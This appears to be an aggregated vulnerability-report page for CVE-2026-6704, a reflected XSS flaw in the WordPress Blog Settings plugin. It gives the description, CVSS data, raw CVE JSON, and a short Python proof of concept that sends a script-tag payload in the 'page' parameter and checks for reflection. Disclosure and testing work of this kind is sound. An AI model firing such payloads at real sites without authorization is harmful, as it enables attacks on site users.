Security Vulnerability Report
中文
CVE-2026-6704 CVSS 6.1 MEDIUM

CVE-2026-6704

Published: 2026-05-05 03:16:01
Last Modified: 2026-05-05 19:09:32

Description

The Blog Settings plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Blog Settings Plugin <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual vulnerable domain) target_url = "http://example.com/wp-admin/admin.php" # Malicious payload using the 'page' parameter # Note: The vulnerability is in the 'page' parameter payload = "?page=<script>alert('CVE-2026-6704-XSS');</script>" # Send the request try: response = requests.get(target_url + payload) # Check if the payload is reflected in the response without proper escaping if "alert('CVE-2026-6704-XSS')" in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") else: print("[-] Vulnerability not confirmed or patched.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6704", "sourceIdentifier": "[email protected]", "published": "2026-05-05T03:16:01.090", "lastModified": "2026-05-05T19:09:32.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blog Settings plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blog-settings/tags/1.0/blog-settings.php#L173", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog-settings/tags/1.0/blog-settings.php#L46", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/blog-settings/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d28e5374-dd34-4745-a20b-059e9846d96d?source=cve", "source": "[email protected]"}]}}